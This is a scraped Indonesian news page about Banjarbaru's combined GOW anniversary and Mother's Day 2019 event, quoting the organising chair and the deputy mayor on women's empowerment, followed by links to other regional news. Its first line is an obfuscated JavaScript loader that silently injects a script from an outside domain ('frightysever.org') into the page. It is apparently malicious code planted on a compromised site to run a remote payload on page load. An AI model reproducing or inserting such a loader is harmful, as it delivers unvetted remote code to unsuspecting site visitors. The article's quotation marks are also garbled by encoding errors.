(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pemerintah Kota Banjarbaru menggelar sejumlah rangkaian acara HUT Gabungan Organisasi Wanita (GOW) ke-17 dan peringatan Hari Ibu ke-91, Rabu (18/12). Dihadiri Wakil Walikota Banjarbaru H Darmawan Jaya Setiawan beserta Ketua GOW Kota Banjarbaru Hj Eny Apriyati, diisi dengan Nonton Bareng (Nobar) dan Ngobrol Penuh Inspirasi (Ngopi).
Ketua Panitia Pelaksana Hj Eny Apriyati menyampaikan, maksud peringatan Hari Ibu ke-91 tahun 2019 yakni untuk mewariskan nilai-nilai luhur dan semangat perjuangan yang terkandung dalam sejarah perjuangan kaum perempuan kepada seluruh masyarakat Indonesia.
“Terutama generasi muda, untuk mempercepat tekad dan keyakinan dalam melanjutkan perjuangan mengisi kemerdekaan dan pembangunan,†ujarnya.
Tidak hanya itu, Eny juga mengatakan momentum ini juga dalam mengenang dan menyegarkan kembali ingatan akan pentingnya pemahaman dan penghayatan serta arti perjuangan dan kebangkitan kaum perempuan sebagai bagian yang tak terpisahkan dari kebangkitan bangsa Indonesia.
Ia pun berharap dengan adanya kegiatan ini, dapat membangkitkan kepedulian masyarakat tentang perspektif perempuan berdaya dapat dicapai dan dilakukan oleh setiap perempuan sebagai sebuah bentuk kesetaraan. “Selain itu, kegiatan ini juga mendukung penguatan karakter perempuan berdaya melalui sektor ekonomi kewirausahaan. Ini merupakan salah satu solusi penurunan angka kekerasan terhadap perempuan,†tandasnya.
Wakil Walikota Banjarbaru H Darmawan Jaya Setiawan menyampaikan peringatan Hari Ibu setiap tahunnya untuk menghargai perjuangan kaum perempuan Indonesia sebagai bagian yang tidak terpisahkan dalam merebut dan mengisi kemerdekaan. Menurut Wakil Walikota, ada tiga peran dan fungsi agar perempuan berdaya dan Indonesia maju itu bisa tercapai. Pertama perempuan diharapkan bisa berperan dalam bidang kewirausahaan. “Untuk peran pertama ini, saya lihat sudah terlaksana di beberapa kali kami pertemuan dengan para pelaku ekonomi kreatif itu lebih banyak kaum perempuan kaum ibu dibanding laki-laki dan itu sesuai juga data dari badan ekonomi kreatif bahwa memang lima puluh tujuh persen pelaku kreatif di Banjarbaru ini adalah kaum perempuan sisanya adalah kaum laki-laki,†katanya. “Kaum perempuan kalau memang punya kemampuan punya potensi punya kualitas kita berikan kesempatan untuk karirnya seluas luasnya,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.